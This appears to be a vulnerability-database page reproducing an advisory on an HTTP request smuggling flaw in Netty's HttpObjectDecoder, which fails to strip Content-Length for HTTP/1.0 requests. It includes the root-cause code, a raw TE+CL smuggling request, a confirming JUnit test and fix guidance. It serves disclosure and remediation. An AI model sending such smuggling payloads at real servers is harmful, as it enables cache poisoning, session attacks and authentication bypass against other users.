Vulnerability details

5.8/10
CVSS 3.1
GHSA-xxqh-mfjm-7mv9
resolved Published 2026-05-07 Updated 2026-05-14
Vulnerability Data from Dependency-Track
Description
# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization | Field | Value | |-----------|-------| | Library | `io.netty:netty-codec-http` | | Component | `codec-http` — `HttpObjectDecoder` | | Severity | **HIGH** | | Affects | HEAD, commit `4f3533ae` confirmed | --- ## Summary `HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling. --- ## Root Cause ```java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READ_CHUNK_SIZE; } // HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENT_LENGTH); contentLength = Long.MIN_VALUE; } ``` The conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request. --- ## Proof of Concept ``` POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n ``` Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\r\nGPOST\r\n0\r\n\r\n` as the start of a second request. --- ## Conditions Required 1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty. --- ## Impact Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request. --- ## Confirmed PoC Test Verified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast. ```java package io.netty.handler.codec.http; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; public class NettySmugglingSec001Test { // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10_contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); } // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11_contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } } ``` --- ## Fix Guidance Remove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.
Same vulnerability as
CVE-2026-42581 resolved according to EUVD-2026-30124
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.